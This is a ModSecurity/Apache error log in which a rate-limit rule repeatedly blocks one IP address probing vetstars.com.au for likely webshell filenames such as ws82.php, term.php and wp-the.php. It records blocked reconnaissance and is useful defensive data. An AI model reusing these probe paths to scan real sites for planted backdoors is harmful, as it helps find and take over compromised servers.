[Sat Apr 18 02:38:24.833649 2026] [:error] [pid 59044:tid 59118] [client 51.120.90.220:23958] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeJ-IAFamkFyEtD_SMHSTQAAAJE"]
[Sat Apr 18 02:38:25.585801 2026] [:error] [pid 63702:tid 63750] [client 51.120.90.220:24151] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aeJ-IcTL05PWYsKqTEYw3AAAAUo"]
[Sat Apr 18 02:39:11.753785 2026] [:error] [pid 63702:tid 63759] [client 51.120.90.220:23955] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeJ-T8TL05PWYsKqTEYxcQAAAVI"]
[Sat Apr 18 02:39:13.361590 2026] [:error] [pid 59042:tid 59053] [client 51.120.90.220:23974] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeJ-UZ6p5oql0UklEBJphgAAAAY"]
[Sat Apr 18 02:39:14.216187 2026] [:error] [pid 42442:tid 42451] [client 51.120.90.220:23978] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeJ-Uj4PBGqL_yqPJ8lW1wAAAQc"]
[Sat Apr 18 02:39:15.010443 2026] [:error] [pid 59136:tid 59146] [client 51.120.90.220:24182] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeJ-UyaoiUyiIR3EhLXRfAAAAMc"]
[Sat Apr 18 02:39:15.606775 2026] [:error] [pid 59136:tid 59140] [client 51.120.90.220:8141] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeJ-UyaoiUyiIR3EhLXRfwAAAME"]
[Sat Apr 18 02:39:16.471999 2026] [:error] [pid 59042:tid 59071] [client 51.120.90.220:24165] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeJ-VJ6p5oql0UklEBJpjgAAABg"]
[Sat Apr 18 02:39:17.169436 2026] [:error] [pid 59136:tid 59161] [client 51.120.90.220:24152] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeJ-VSaoiUyiIR3EhLXRhgAAANY"]
[Sat Apr 18 02:39:18.052855 2026] [:error] [pid 59136:tid 59149] [client 51.120.90.220:23981] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeJ-ViaoiUyiIR3EhLXRiQAAAMo"]
[Sat Apr 18 02:39:18.847189 2026] [:error] [pid 59136:tid 59157] [client 51.120.90.220:8136] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeJ-ViaoiUyiIR3EhLXRjgAAANI"]
[Sat Apr 18 02:39:19.418955 2026] [:error] [pid 59136:tid 59147] [client 51.120.90.220:8129] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeJ-VyaoiUyiIR3EhLXRlQAAAMg"]
[Sat Apr 18 02:39:20.119186 2026] [:error] [pid 59136:tid 59163] [client 51.120.90.220:8140] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeJ-WCaoiUyiIR3EhLXRmwAAANg"]
[Sat Apr 18 02:39:20.666782 2026] [:error] [pid 59136:tid 59140] [client 51.120.90.220:8164] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeJ-WCaoiUyiIR3EhLXRngAAAME"]
[Sat Apr 18 02:39:21.288925 2026] [:error] [pid 59044:tid 59122] [client 51.120.90.220:24141] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeJ-WQFamkFyEtD_SMHSrAAAAJU"]
[Sat Apr 18 02:39:21.912702 2026] [:error] [pid 42442:tid 42459] [client 51.120.90.220:8131] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeJ-WT4PBGqL_yqPJ8lW5QAAAQ8"]
[Sat Apr 18 02:39:22.538677 2026] [:error] [pid 59136:tid 59143] [client 51.120.90.220:24159] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeJ-WiaoiUyiIR3EhLXRpwAAAMQ"]
[Sat Apr 18 02:39:23.326383 2026] [:error] [pid 59136:tid 59146] [client 51.120.90.220:23998] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeJ-WyaoiUyiIR3EhLXRrAAAAMc"]
[Sat Apr 18 02:39:23.931845 2026] [:error] [pid 42442:tid 42449] [client 51.120.90.220:8167] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeJ-Wz4PBGqL_yqPJ8lW7gAAAQU"]
[Sat Apr 18 02:39:24.498076 2026] [:error] [pid 63702:tid 63757] [client 51.120.90.220:8158] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeJ-XMTL05PWYsKqTEYxfgAAAVA"]
[Sat Apr 18 02:39:25.223027 2026] [:error] [pid 63702:tid 63764] [client 51.120.90.220:8141] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeJ-XcTL05PWYsKqTEYxgwAAAVc"]
[Sat Apr 18 02:39:25.778292 2026] [:error] [pid 63702:tid 63756] [client 51.120.90.220:8132] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeJ-XcTL05PWYsKqTEYxhwAAAU8"]
[Sat Apr 18 02:39:26.453877 2026] [:error] [pid 59044:tid 59123] [client 51.120.90.220:23973] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeJ-XgFamkFyEtD_SMHSswAAAJY"]
[Sat Apr 18 02:39:27.028578 2026] [:error] [pid 42442:tid 42455] [client 51.120.90.220:23964] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeJ-Xz4PBGqL_yqPJ8lW_gAAAQs"]
[Sat Apr 18 02:39:27.697834 2026] [:error] [pid 59043:tid 59084] [client 51.120.90.220:24177] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeJ-X4RtUGE9SfUh2wwj_wAAAEo"]
[Sat Apr 18 02:39:28.280468 2026] [:error] [pid 59042:tid 59066] [client 51.120.90.220:23944] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeJ-YJ6p5oql0UklEBJpngAAABM"]
[Sat Apr 18 02:39:29.045081 2026] [:error] [pid 59043:tid 59091] [client 51.120.90.220:23990] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeJ-YYRtUGE9SfUh2wwkBAAAAFE"]
[Sat Apr 18 02:39:29.681066 2026] [:error] [pid 59136:tid 59148] [client 51.120.90.220:24167] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeJ-YSaoiUyiIR3EhLXRtwAAAMk"]
[Sat Apr 18 02:39:30.298276 2026] [:error] [pid 59043:tid 59085] [client 51.120.90.220:8138] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeJ-YoRtUGE9SfUh2wwkBwAAAEs"]
[Sat Apr 18 02:39:30.840643 2026] [:error] [pid 63702:tid 63740] [client 51.120.90.220:23982] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeJ-YsTL05PWYsKqTEYxkQAAAUI"]
[Sat Apr 18 02:39:31.460494 2026] [:error] [pid 59043:tid 59083] [client 51.120.90.220:24163] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeJ-Y4RtUGE9SfUh2wwkCgAAAEk"]
[Sat Apr 18 02:39:31.986803 2026] [:error] [pid 59136:tid 59146] [client 51.120.90.220:23979] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeJ-YyaoiUyiIR3EhLXRvwAAAMc"]
[Sat Apr 18 02:39:32.600412 2026] [:error] [pid 42442:tid 42451] [client 51.120.90.220:8101] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeJ-ZD4PBGqL_yqPJ8lXEwAAAQc"]
[Sat Apr 18 02:39:33.197426 2026] [:error] [pid 59136:tid 59150] [client 51.120.90.220:23988] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeJ-ZSaoiUyiIR3EhLXRwAAAAMs"]
[Sat Apr 18 02:39:33.912027 2026] [:error] [pid 42442:tid 42464] [client 51.120.90.220:23983] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeJ-ZT4PBGqL_yqPJ8lXIAAAARQ"]
[Sat Apr 18 02:39:34.595454 2026] [:error] [pid 59042:tid 59048] [client 51.120.90.220:8068] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeJ-Zp6p5oql0UklEBJpqgAAAAE"]
[Sat Apr 18 02:39:35.396862 2026] [:error] [pid 63702:tid 63744] [client 51.120.90.220:8173] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeJ-Z8TL05PWYsKqTEYxlQAAAUU"]
[Sat Apr 18 02:39:36.173313 2026] [:error] [pid 59043:tid 59076] [client 51.120.90.220:8185] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeJ-aIRtUGE9SfUh2wwkFgAAAEI"]
[Sat Apr 18 02:39:36.795876 2026] [:error] [pid 63702:tid 63750] [client 51.120.90.220:24146] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeJ-aMTL05PWYsKqTEYxmQAAAUo"]
[Sat Apr 18 02:39:37.468355 2026] [:error] [pid 42442:tid 42464] [client 51.120.90.220:23989] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeJ-aT4PBGqL_yqPJ8lXOQAAARQ"]
[Sat Apr 18 02:39:38.381290 2026] [:error] [pid 63702:tid 63747] [client 51.120.90.220:8163] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeJ-asTL05PWYsKqTEYxnwAAAUg"]
[Sat Apr 18 02:39:39.389417 2026] [:error] [pid 63702:tid 63740] [client 51.120.90.220:7681] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeJ-a8TL05PWYsKqTEYxoQAAAUI"]
[Sat Apr 18 02:39:41.069305 2026] [:error] [pid 42442:tid 42462] [client 51.120.90.220:24140] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeJ-bT4PBGqL_yqPJ8lXTAAAARI"]
[Sat Apr 18 02:39:42.150151 2026] [:error] [pid 63702:tid 63741] [client 51.120.90.220:8190] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeJ-bsTL05PWYsKqTEYxpAAAAUM"]
[Sat Apr 18 02:39:43.317557 2026] [:error] [pid 63702:tid 63758] [client 51.120.90.220:8103] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeJ-b8TL05PWYsKqTEYxpQAAAVE"]
[Sat Apr 18 02:39:44.347974 2026] [:error] [pid 59043:tid 59076] [client 51.120.90.220:8065] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeJ-cIRtUGE9SfUh2wwkHgAAAEI"]
[Sat Apr 18 02:39:45.948958 2026] [:error] [pid 42442:tid 42450] [client 51.120.90.220:24181] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeJ-cT4PBGqL_yqPJ8lXdgAAAQY"]
[Sat Apr 18 02:39:48.761639 2026] [:error] [pid 63702:tid 63743] [client 51.120.90.220:23952] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeJ-dMTL05PWYsKqTEYxrgAAAUQ"]
[Sat Apr 18 02:39:49.303926 2026] [:error] [pid 63702:tid 63740] [client 51.120.90.220:23987] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeJ-dcTL05PWYsKqTEYxswAAAUI"]
[Sat Apr 18 02:39:50.025903 2026] [:error] [pid 63702:tid 63741] [client 51.120.90.220:23999] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeJ-dsTL05PWYsKqTEYxuAAAAUM"]
[Sat Apr 18 02:39:50.596425 2026] [:error] [pid 59043:tid 59088] [client 51.120.90.220:8067] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeJ-doRtUGE9SfUh2wwkIgAAAE4"]
[Sat Apr 18 02:39:51.269672 2026] [:error] [pid 59043:tid 59083] [client 51.120.90.220:23992] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeJ-d4RtUGE9SfUh2wwkIwAAAEk"]
[Sat Apr 18 02:39:51.886427 2026] [:error] [pid 59044:tid 59113] [client 51.120.90.220:8159] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeJ-dwFamkFyEtD_SMHSvwAAAIw"]
[Sat Apr 18 02:39:52.435409 2026] [:error] [pid 42442:tid 42460] [client 51.120.90.220:24162] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeJ-eD4PBGqL_yqPJ8lXkwAAARA"]
[Sat Apr 18 02:39:52.979950 2026] [:error] [pid 59043:tid 59074] [client 51.120.90.220:8146] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeJ-eIRtUGE9SfUh2wwkKQAAAEA"]
[Sat Apr 18 02:39:53.578563 2026] [:error] [pid 63702:tid 63740] [client 51.120.90.220:24176] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeJ-ecTL05PWYsKqTEYxxAAAAUI"]
